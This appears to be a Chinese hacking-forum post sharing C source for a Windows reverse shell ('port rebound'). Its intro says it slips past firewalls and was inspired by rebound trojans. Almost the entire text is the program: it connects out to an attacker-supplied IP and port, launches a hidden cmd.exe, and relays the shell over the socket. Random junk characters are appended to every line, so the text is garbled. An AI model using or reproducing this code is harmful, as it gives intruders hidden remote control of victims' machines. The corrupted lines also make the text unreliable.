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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 mySm:ToT  
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/* ============================== 2 AZ[gr@c  
Rebound port in Windows NT w@P c7$EP  
By wind,2006/7 4=H/-v'&  
===============================*/ 1R/=as,R  
#include 89B1\ff  
#include urHQb5|T}  
\^wI9g~0  
#pragma comment(lib,"wsock32.lib") Te"<.0~1  
#; I8 aMb  
void OutputShell(); /tno`su;  
SOCKET sClient; - v9V/LJ  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $4V ~hI 4  
;APpgt4  
void main(int argc,char **argv) C!SB5G>OH  
{ n>X  
WSADATA stWsaData; $S$%avRX  
int nRet; zxCxGT\;  
SOCKADDR_IN stSaiClient,stSaiServer; V#W(c_g  
3\FiQ/?  
if(argc != 3) #Dx$KPD  
{ #(@dN+  
printf("Useage:\n\rRebound DestIP DestPort\n"); :L9\`&}FS  
return; EX8:B.z`57  
} >Lanuv)O  
-aGv#!aIl  
WSAStartup(MAKEWORD(2,2),&stWsaData); n<7#?X7  
nX>k}&^L  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  @4_CR  
io:?JnQSA  
stSaiClient.sin_family = AF_INET; Zx<s-J4o=w  
stSaiClient.sin_port = htons(0); pTmG\wA~$  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); (@`+Le  
'<m[  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) * Yov>lO  
{ n$}c+1   
printf("Bind Socket Failed!\n"); lp?geav  
return; w IT`OT6Q  
} P G) dIec  
=#1iio&  
stSaiServer.sin_family = AF_INET; xYRL4  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); }?>30+42:  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); x&)P)H0vn  
jKQnox+=  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6ssZg@}nf{  
{ -BACdX  
printf("Connect Error!"); qX:54$t  
return; LPT5d 7K@  
} HI']{2p2}t  
OutputShell(); ~z>2`^Z"  
} fYx$3a.  
LtH;#Q  
void OutputShell() W3 2mAz;  
{ (q*T.   
char szBuff[1024]; /5suyM=U  
SECURITY_ATTRIBUTES stSecurityAttributes; Pp3tEZfE  
OSVERSIONINFO stOsversionInfo; `EU=u_N  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 3,tKqR7g  
STARTUPINFO stStartupInfo; |)pT"`  
char *szShell; N+!{Bt*  
PROCESS_INFORMATION stProcessInformation; HnioB=fc  
unsigned long lBytesRead; 5Z6$90!k  
Y.F:1<FAtf  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #(bMZ!/(  
1>57rx"l  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); !K(0)~u  
stSecurityAttributes.lpSecurityDescriptor = 0; y| @[?B  
stSecurityAttributes.bInheritHandle = TRUE; "z< =S  
"]5]"F4]  
"=9L7.E)  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E n{vCN  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); W?F+QmD  
N\HOo-X  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7qgHH p  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #\@*C=  
stStartupInfo.wShowWindow = SW_HIDE; uQ9P6w=Nt  
stStartupInfo.hStdInput = hReadPipe; : B$ d  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; lkFv5^%  
OPBnU@=R  
GetVersionEx(&stOsversionInfo); 8_8 R$ =V  
&`pd&U{S*  
switch(stOsversionInfo.dwPlatformId) 7DKbuUK  
{ {Z1j>h$  
case 1: y!mjZR,&  
szShell = "command.com"; /u*((AJ?Qv  
break; g G~UsA  
default: ArbfA~jXB  
szShell = "cmd.exe"; e6QUe.S  
break; vitmG'|WG  
} ZnI_<iFR*  
QP >P  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); d*3k]Ie%5f  
(.m0hN!~u  
send(sClient,szMsg,77,0); M{3He)&  
while(1) /b@8#px  
{ AnP7KSN[\  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )(_}60  
if(lBytesRead) a5:YP  
{ +0;6.PK  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); lBgf' b3$  
send(sClient,szBuff,lBytesRead,0); %'%ej^s-R  
} ]j~V0 1p/e  
else ,L6d~>=41  
{ >|/NDF=\s  
lBytesRead=recv(sClient,szBuff,1024,0);  #dtYa  
if(lBytesRead<=0) break; r-9P&*1  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (XX6M[M8  
} ,<d[5;7x  
} i"r&CS)sT  
'0p 5|[ZD  
return; bT|a]b:  
}
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